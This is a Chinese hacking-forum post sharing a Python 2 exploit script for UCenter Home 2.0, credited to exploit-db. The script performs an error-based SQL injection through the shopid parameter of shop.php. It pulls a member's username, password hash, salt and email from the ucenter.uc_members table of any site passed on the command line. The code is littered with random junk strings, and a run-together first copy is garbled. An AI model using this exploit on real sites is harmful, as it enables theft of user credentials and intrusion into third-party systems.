找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2454|回复: 0
打印 上一主题 下一主题

UCenter Home 2.0 EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-23 09:18:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl9 W: l! m; {4 z7 y- K5 U$ a
3 N2 n/ G: n" z% \& M5 m' ]
1 I+ @" @& Y% ^1 Y( B) W0 _& t
#!/usr/bin/env python  1 o$ J3 Z7 M7 [$ W) E7 S# S) P; N

- j, J# v% F! @- A8 gimport sys  9 ]4 t9 u0 Q  g7 y
import urllib2  
0 x& A% p1 x( s8 timport re    s( Z! L0 F7 E1 x, M/ S4 q4 P

7 Y% n: O8 B. Z9 U; E) Ddef info():  3 e1 t. ?" y% G% t0 G# C2 z
    print 'From:http://www.exploit-db.com/exploits/14997/' ; s8 l# o/ f+ L- M% a. T
    print 'http://www.hake.cc/Web_loudong/' , T8 J" U1 C& y) ~$ m
    print 'changed:qiaoy'  * w; L, L. J& d1 a# Z% T- R
    print 'exp:'  " m4 ]  \- N3 ]; k; E3 u( s/ j" Q
    print ' ./UCenter_Home_2.0.py site'  ' S+ b6 r$ x: p, y" e" T

, A2 l5 h4 X& l+ |def main():  
  Z1 }+ e8 Q( t5 k% ]    if len(sys.argv) != 2:  2 y6 U  F9 o+ ?1 a) j" ]3 u0 ^
        info()  
. J9 P3 K/ v9 {, N% i    else:  ' }; I0 m' k3 @' \
        site = sys.argv[1]  
  k. ]' u4 l3 z0 O$ X: b        if site[0:7] == 'http://':  
% D1 r- A' M& I; N# p' a  V8 p            sitesite =site  
4 e1 l3 `" w, h: N2 Z1 Z* h) R        elif site[0:8] == 'https://':  
( a4 n9 ?8 _; S0 E/ A            sitesite = site  
" g. O  r* F- s7 |        else:  
5 J- u8 L: M  x2 r! G  {            site = 'http://'+site  2 G. d( H. O8 A0 U  p% \$ A; c" H
        try:  * J# o, L! m7 t
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
& l2 T4 N; o6 Z) [% o0 t& K$ e            Value = urllib2.urlopen(url).read()  
% A  y, ?8 Q) s' K            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
# O- n7 [& c( d/ B/ P! u5 w            hacked = Msg.split(':')  
$ H8 {2 U, s, j! V8 Y) t) k# y            print 'Name:    '+hacked[1]  
0 |; }  {, w3 k) Q/ z1 ]            print 'Passwd:  '+hacked[2]  9 K; o2 [+ y: c
            print 'salt:    '+hacked[3]  
4 i! p3 f; z  v9 T# `            print 'email:   '+hacked[4]  4 B# k/ T- w7 j
        except:  6 z" q, E9 v1 \* c! R' J
            print 'Sorry,I can\'t work............'  ! x& `1 G2 u9 o1 F& t/ n+ Q
+ v0 P/ Q4 Z# q2 I3 o# P* q. p3 j1 D- v
if __name__ == '__main__':  # Y4 E; m& x# V& ]/ ?
    main()
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表